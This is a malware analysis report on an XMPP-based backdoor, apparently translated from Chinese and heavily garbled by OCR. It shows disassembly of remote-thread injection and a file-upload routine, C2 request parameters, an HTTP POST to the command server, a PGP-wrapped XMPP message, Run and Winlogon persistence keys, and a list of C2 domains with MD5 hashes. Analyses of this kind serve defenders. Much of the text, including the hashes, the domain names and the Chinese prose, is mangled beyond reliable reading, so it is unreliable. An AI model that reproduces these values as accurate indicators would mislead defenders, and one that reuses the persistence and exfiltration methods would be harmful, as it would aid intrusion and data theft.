seg@ea: 81A166DA call http sub_1A1ASCE
s5eg008:a1A166DF push 3

seg@ee: 81A166EL call http sub_1A1A3CE
segPBd:81A166E6 push 1

segBBe:@1A166ER push offset xmpp sub 1A1D3CD

seghee :81A166ED call CreateRemoteThread_sub_1A1161E
segBee:A1A166F2 push 2

segeea:a1A166F4 push offset xmpp_sub_1A1D3(D
segPee:81A166F9 call CreateRemoteThread sub 1A1161E
segBen:01A166FE push 3

seg@en:e1A16760 push offset xmpp_sub_1A1D3CD
seg@en:e1A167a85 call CreateRemoteThread_sub_1A1161E
segBen:1A1678A push ebx

segBea:a1lA167a8 push offset getdomain_sub 1A16AFA
seg@ee:a1A16718 call CreateRemoteThread_sub_1A1161E

BE—EANESRRERNTFR, TRTRIURERE.

{

&q= I BT 3%
&data= /I | %
&data_type= /I T i%

&action= /I =] %

e

79

&ver= Il 5] 3%
&ch= II'eT 3%
&data_content= /1 8T 3%
'0xA'task'OxA" 11 373

&id= Il T8 4555
&versionf= I 7E 415
&versiona= I 7E 415
&vendor= I 7g 415

&do= Il RFBfEHY C2 &
&check=chek Il FEZR TS

}

HAEAEE -, S#T5 C2RE|[OERETF, LLEHN

action FEE#IR{E A 'new',

POST /welcome.php HTTP/1.1
Ty ication/x-wmad-form-urlencoded
ent 11.1 (Windows NT 5.1: U: en)

: 132

no-cache
de: BIDUPSID-8BDOIDCAF342ASEEO7EDASICA236A0D4; PSTH=1473818274

HILY

HAEATELEABERPEEEREMIE.

B, HRBHFLEXHRER.

ZE BAME- e LEXHEAEENERERFRES
C2 R, REFAZEIESRMT PGP K, ERNEEARH
#7 BASE64 470, TR A R HE PGP i A9 BRI BIRA RHITINE.

RE, BABEZTRUE—LE
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segled:81A196E7 push offset aXmldm @ ; "\\xmldm"
Seghee:e1A196EC push [ebp+var_18] 3 _DWORD
seglea: B1A196EF call ds:lstrcatA 1A10140
segh@a:A1A196F5 push offset asc 1A112AD ; "\\"
SegBdd: @1A196FA push [ebp+var_18] ; _DWORD
segh@d: 81A196FD call ds:lstrcath_1A10140
seghee:elAl197a83 lea eax, [ebp+var_124]
seglea:a1A197a9 push eax ; _DWORD
seghed:81A1978A push [ebp+var_18] ; _DWORD
$egeee:a1A197a0 call ds:1strcatA_1Al@14@
segh@a:81A19713 cmp [ebp+var_136], ebx
seghed:alA19719 jz short loc_lA196AC
segB@d:a1A19716 omp [ebpt+var_136], leeaash
seghed:a1A19725 jnb short loc_1A196AC
$eghee:a1A19727 inc [ebp+var_136]

seglea: a1A1972D inc [ebp+var_136]
segh@d:a1A19733 push [ebp+var_136]
Seglea:alA19739 lea eax, [ebpt+var_12a]
segl@d:A1A1973F push eax 5 file
seghed:a1A19740 push [ebp+var_l1@] 3 file full path
SegBea:alA19743 call DoUpload sub_1A19819
<message from="mancity’ to='liverpool' id='jbr@eeel’><body>----- BEGIN PGP MESSAGE-----

5a@sXvk02511NzDe)xdCZQtFjPAIDB6SEon1DOBHNT zzHoik@SCpt TE+S8wagv6pubMBNTT+/Ugo/
XiLfKjGBILbAHPSPIvLKX75DP@pR3EDXIHEIeXpbSEBdYs7451VKS++uphlYhyotYkzpozH+3b
+91GpEYiSKAS2kH2wumS9AE cvc F54kbLvggZNrz0jMvAxMORHUBAL 9qs FTrWUSugPg84bIMbe /KWMV
+Qg5RTQIINGB3Sy42g0T7gI=

————— END PGP MESSAGE-----</body></message>

3.5 BT E
HARBEERIMRATALATANE BE, BRER
MEEEEXMNIMERNER. EXEFINAOIMRTRERR

{& ‘SoftWare\Microsoft\Windows\CurrentVersion\Run’

5 <SoftWare\Microsoft\Windows Nt\CurrentVersion\Winlogon’,
ZREZEATREAVNARDNEFNEER, SIEEARILETH
2> AppData\Roaming\jabconf32.exe’ . ¥ iz {EEIESHEW
TROXEERNTERERIE. B— P RIGNTERFAR
RESWNENHTER. BAGXXMNASRNAT Softwarel
& "
EEFSMEE delete’, XEZETRBEFHRIMZBESR
HARTEMREDN, HEXEEMWKRIER 4 IFRETHE

Microsoft\Windows\CurrentVersion\Internet Setting” &

/g, 10C 8

MFEE MD5
ti iti i 538da019729597b 176e5495aa5
antisemitismgavenuteg.com 412083
bandepict 5592456e82f60d2222¢9f2bceS
andepictom.com 444d65
f9d02df23531cff89b0d054b3
buckbyplaywobb.com 0198421
tel husl K bc69a956b 147c99f6d31618¢c
elemachuslazarogok.com 0a435915
i foulil 36a9¢28031d07b82973f7c9eec
exanfoulilp.com 3b995¢
| iIdeafeni 1e081e503668347c81bbba764
clearasildeafeninguvuc.com 2bef609
. . c2c980ea81547c4b8de34adf82
marisagabardinedazyx.com
9ccc26
ickfordli t 4e76a7bab69d1b6891db95add7
pickfordlinnetavox.com 292256
lefrostbit abb80f23028c49d753e7¢93a80
snapplefrostbitecycz.com 144448
i eff48dae5e91845¢c2414f0a4f9
filtererwyatanb.com
1a1518
5dda3983ac7cebd3190942ee47
antwancorml.com
a13e50
travinsk ttederif eaeb5a9d8d955831¢c443d4a6f9
stravinskycattederifg.com 0179fd
§ tbulk v 080b3f46356493aeb7ec38e30a|
orepartbulkyf.com cbe4f5
fundamentalistfanc 40827866594cc26f12bda25293
honut.com 914116
iterionirkutskaql 8e1d326b687fc4aacc6914e 166
criterionirkutskagl.com 500288
iminal tri a03971bff 15ec6782ae25182145
criminalcentricem.com 33b92
babysatformalisti b9fb8ae5e3985980175e74cf5de
cirekb.com aabfb
earnestnessbiop f555132e0b7984318b965
hysicalohax.com f984785d360

A SEHEH
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